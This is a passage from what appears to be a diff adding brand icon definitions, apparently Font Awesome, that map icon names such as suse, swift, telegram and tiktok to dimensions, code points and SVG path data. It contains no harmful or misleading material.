10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"], + "suse": [640, 512, [], "f7d6", "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"], + "swift": [448, 512, [], "f8e1", "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"], + "symfony": [512, 512, [], "f83d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"], + "teamspeak": [512, 512, [], "f4f9", "M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z"], + "telegram": [496, 512, [], "f2c6", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z"], + "telegram-plane": [448, 512, [], "f3fe", "M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z"], + "tencent-weibo": [384, 512, [], "f1d5", "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"], + "the-red-yeti": [512, 512, [], "f69d", "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"], + "themeco": [448, 512, [], "f5c6", "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"], + "themeisle": [512, 512, [], "f2b2", "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"], + "think-peaks": [576, 512, [], "f731", "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"], + "tiktok": [448, 512, [], "e07b", "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"], + "trade-federation": [496, 512, [], "f513", "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"], + "trello": [448, 512, [], "f181", "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"], + "tumblr": [320, 512, [], "f173", "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 